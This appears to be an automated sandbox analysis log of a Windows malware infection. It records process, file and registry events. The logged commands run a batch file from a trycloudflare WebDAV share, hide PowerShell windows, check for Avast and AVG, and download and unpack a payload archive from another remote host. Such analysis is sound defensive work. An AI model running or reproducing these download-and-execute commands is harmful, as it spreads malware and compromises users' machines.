Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2876	Thread sleep count: 1784 > 30			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4312	Thread sleep time: -2767011611056431s >= -30000s			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2708	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5180	Thread sleep count: 6425 > 30			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2024	Thread sleep count: 3355 > 30			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2876	Thread sleep time: -20291418481080494s >= -30000s			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5576	Thread sleep time: -1844674407370954s >= -30000s			Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8024	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5292	Thread sleep count: 6704 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5292	Thread sleep count: 2959 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7956	Thread sleep time: -9223372036854770s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: cmd.exe, 0000000C.00000003.1357062663.0000029B478E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\/
Source: svchost.exe, 00000019.00000002.2143518430.00000278D942B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000019.00000002.2146422981.00000278DEA55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000014.00000002.1746069057.000002204E010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /min \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""\\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat" "			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"\\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat\" hidden' -WindowStyle Hidden"			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "\\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat" hidden			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\EEGWXUHVUG.pdf"			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "AvastUI.exe"			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe"			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "avgui.exe"			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://bernard-criterion-consultant-url.trycloudflare.com/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }"			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "try { [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; invoke-webrequest -uri 'https://bernard-criterion-consultant-url.trycloudflare.com/bab.zip' -outfile 'c:\users\user\downloads\downloaded.zip' } catch { exit 1 }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "try { [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; invoke-webrequest -uri 'https://bernard-criterion-consultant-url.trycloudflare.com/bab.zip' -outfile 'c:\users\user\downloads\downloaded.zip' } catch { exit 1 }"			Jump to behavior

Language, Device and Operating System Detection

Source: C:\Windows\System32\cmd.exe	Queries volume information: \Device\Mup\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Source: find.exe, 00000013.00000002.1065929935.000002A60976B000.00000004.00000020.00020000.00000000.sdmp, find.exe, 00000013.00000002.1066032433.000002A6099E4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: avgui.exe

Stealing of Sensitive Information

Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot			Jump to behavior
